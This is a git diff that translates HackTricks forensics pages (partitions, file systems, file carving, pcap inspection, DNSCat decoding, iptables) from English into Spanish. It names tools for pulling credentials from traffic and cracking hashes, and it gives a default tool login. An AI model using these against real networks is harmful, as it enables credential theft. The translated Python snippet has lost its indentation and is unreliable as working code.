un array de entradas de partición (siempre 2 en la copia primaria) | +| 80 (0x50) | 4 bytes | Número de entradas de partición en el array | +| 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) | +| 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian | +| 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) | -**Partition entries (LBA 2–33)** +**Entradas de partición (LBA 2–33)** -| GUID partition entry format | | | -| --------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Offset | Length | Contents | -| 0 (0x00) | 16 bytes | [Partition type GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (mixed endian) | -| 16 (0x10) | 16 bytes | Unique partition GUID (mixed endian) | -| 32 (0x20) | 8 bytes | First LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bytes | Last LBA (inclusive, usually odd) | -| 48 (0x30) | 8 bytes | Attribute flags (e.g. bit 60 denotes read-only) | -| 56 (0x38) | 72 bytes | Partition name (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE code units) | +| Formato de entrada de partición GUID | | | +| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | +| Desplazamiento | Longitud | Contenido | +| 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) | +| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) | +| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) | +| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) | +| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) | +| 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) | -**Partitions Types** +**Tipos de particiones** ![](<../../../images/image (83).png>) -More partition types in [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) +Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -### Inspecting +### Inspección -After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image an **MBR** was detected on the **sector 0** and interpreted: +Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado: ![](<../../../images/image (354).png>) -If it was a **GPT table instead of an MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). +Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío). -## File-Systems +## Sistemas de archivos -### Windows file-systems list +### Lista de sistemas de archivos de Windows - **FAT12/16**: MSDOS, WIN95/98/NT/200 - **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -151,81 +149,81 @@ If it was a **GPT table instead of an MBR** it should appear the signature _EFI ### FAT -The **FAT (File Allocation Table)** file system is designed around its core component, the file allocation table, positioned at the volume's start. This system safeguards data by maintaining **two copies** of the table, ensuring data integrity even if one is corrupted. The table, along with the root folder, must be in a **fixed location**, crucial for the system's startup process. +El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema. -The file system's basic unit of storage is a **cluster, usually 512B**, comprising multiple sectors. FAT has evolved through versions: +La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones: -- **FAT12**, supporting 12-bit cluster addresses and handling up to 4078 clusters (4084 with UNIX). -- **FAT16**, enhancing to 16-bit addresses, thereby accommodating up to 65,517 clusters. -- **FAT32**, further advancing with 32-bit addresses, allowing an impressive 268,435,456 clusters per volume. +- **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX). +- **FAT16**, mejorando a direcciones de 16 bits, permitiendo así hasta 65,517 clusters. +- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen. -A significant limitation across FAT versions is the **4GB maximum file size**, imposed by the 32-bit field used for file size storage. +Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo. -Key components of the root directory, particularly for FAT12 and FAT16, include: +Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **Nombre de archivo/carpeta** (hasta 8 caracteres) +- **Atributos** +- **Fechas de creación, modificación y último acceso** +- **Dirección de la tabla FAT** (indicando el cluster inicial del archivo) +- **Tamaño del archivo** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2** es el sistema de archivos más común para **particiones que no registran** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **registradores** y se utilizan generalmente para el **resto de las particiones**. -## **Metadata** +## **Metadatos** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- Título +- Versión de MS Office utilizada +- Autor +- Fechas de creación y última modificación +- Modelo de la cámara +- Coordenadas GPS +- Información de la imagen -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo. -## **Deleted Files Recovery** +## **Recuperación de archivos eliminados** -### Logged Deleted Files +### Archivos eliminados registrados -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que, generalmente, la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados. -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **Carving de archivos** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**El carving de archivos** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de tipos de archivos**, basado en **estructuras** de tipos de archivos y basado en el **contenido** mismo. -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él. -There are several tools that you can use for file Carving indicating the file types you want to search for +Hay varias herramientas que puedes usar para el carving de archivos indicando los tipos de archivos que deseas buscar. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### Carving de flujo de datos -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +El carving de flujo de datos es similar al carving de archivos, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\ +Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs. {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### Eliminación segura -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\ +Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto y parte del trabajo del profesional forense es encontrarlas. -## References +## Referencias - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..a0b6d1e6c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,92 +4,84 @@ ## Carving & Recovery tools -More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) +Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). - -**Useful commands**: +**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). +**Comandos útiles**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` - ### **Scalpel** -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga. ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque. ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/). -#### Features of BinVis +#### Características de BinVis -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- Visualizador de **estructura** visual y activa +- Múltiples gráficos para diferentes puntos de enfoque +- Enfocándose en porciones de una muestra +- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo +- Obteniendo **patrones** para criptoanálisis en archivos +- **Detectando** algoritmos de empaquetado o codificación +- **Identificar** esteganografía por patrones +- **Diferenciación** binaria visual -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra. -## Specific Data Carving Tools +## Herramientas específicas de recuperación de datos ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker. -Download [here](https://sourceforge.net/projects/findaes/). +Descarga [aquí](https://sourceforge.net/projects/findaes/). -## Complementary tools +## Herramientas complementarias -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\ +Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..578ef94a6 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -1,33 +1,27 @@ -# Pcap Inspection +# Inspección de Pcap {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> Una nota sobre **PCAP** vs **PCAPNG**: hay dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesite convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas. -## Online tools for pcaps +## Herramientas en línea para pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- Si el encabezado de su pcap está **dañado**, debe intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Extraiga **información** y busque **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com) +- Busque **actividad maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +- **Análisis completo de pcap desde el navegador en** [**https://apackets.com/**](https://apackets.com/) -## Extract Information +## Extraer Información -The following tools are useful to extract statistics, files, etc. +Las siguientes herramientas son útiles para extraer estadísticas, archivos, etc. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Si va a analizar un PCAP, básicamente debe saber cómo usar Wireshark** -You can find some Wireshark tricks in: +Puede encontrar algunos trucos de Wireshark en: {{#ref}} wireshark-tricks.md @@ -35,68 +29,60 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +Análisis de pcap desde el navegador. -### Xplico Framework +### Marco Xplico -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todo el contenido HTTP, cada llamada VoIP (SIP), FTP, TFTP, y así sucesivamente. +**Instalar** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Ejecutar** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +Acceso a _**127.0.0.1:9876**_ con credenciales _**xplico:xplico**_ -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Al igual que Xplico, es una herramienta para **analizar y extraer objetos de pcaps**. Tiene una edición gratuita que puedes **descargar** [**aquí**](https://www.netresec.com/?page=NetworkMiner). Funciona con **Windows**.\ +Esta herramienta también es útil para obtener **otra información analizada** de los paquetes para poder saber qué estaba sucediendo de una manera **más rápida**. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\ +Esta es otra herramienta útil que **analiza los paquetes** y organiza la información de una manera útil para **saber qué está sucediendo dentro**. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions +- Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...) +- Extraer hashes de autenticación y crackearlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Construir un diagrama de red visual (Nodos de red y usuarios) +- Extraer consultas DNS +- Reconstruir todas las sesiones TCP y UDP - File Carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Si estás **buscando** **algo** dentro del pcap, puedes usar **ngrep**. Aquí hay un ejemplo usando los filtros principales: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Usar técnicas de carving comunes puede ser útil para extraer archivos e información del pcap: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -104,46 +90,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo. ## Check Exploits/Malware ### Suricata -**Install and setup** - +**Instalar y configurar** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Ver pcap** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Lee un archivo PCAP y extrae flujos Http. +- gzip descomprime cualquier flujo comprimido. +- Escanea cada archivo con yara. +- Escribe un report.txt. +- Opcionalmente guarda archivos coincidentes en un directorio. -### Malware Analysis +### Análisis de Malware -Check if you can find any fingerprint of a known malware: +Verifica si puedes encontrar alguna huella de un malware conocido: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividades sospechosas o maliciosas. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo medición de rendimiento y solución de problemas. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps. +### Información de Conexiones ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### Información de DNS ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Otras trucos de análisis de pcap {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..5a5c501f3 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# Análisis de pcap de DNSCat {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Si tienes un pcap con datos siendo **exfiltrados por DNSCat** (sin usar cifrado), puedes encontrar el contenido exfiltrado. +Solo necesitas saber que los **primeros 9 bytes** no son datos reales, sino que están relacionados con la **comunicación C\&C**: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Para más información: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +Hay un script que funciona con Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..476ef651d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -4,16 +4,15 @@ ## Iptables -### Chains +### Cadenas -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +En iptables, listas de reglas conocidas como cadenas se procesan secuencialmente. Entre estas, tres cadenas principales están presentes de manera universal, con otras como NAT que pueden ser soportadas dependiendo de las capacidades del sistema. -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Cadena de Entrada**: Utilizada para gestionar el comportamiento de las conexiones entrantes. +- **Cadena de Reenvío**: Empleada para manejar conexiones entrantes que no están destinadas al sistema local. Esto es típico para dispositivos que actúan como enrutadores, donde los datos recibidos están destinados a ser reenviados a otro destino. Esta cadena es relevante principalmente 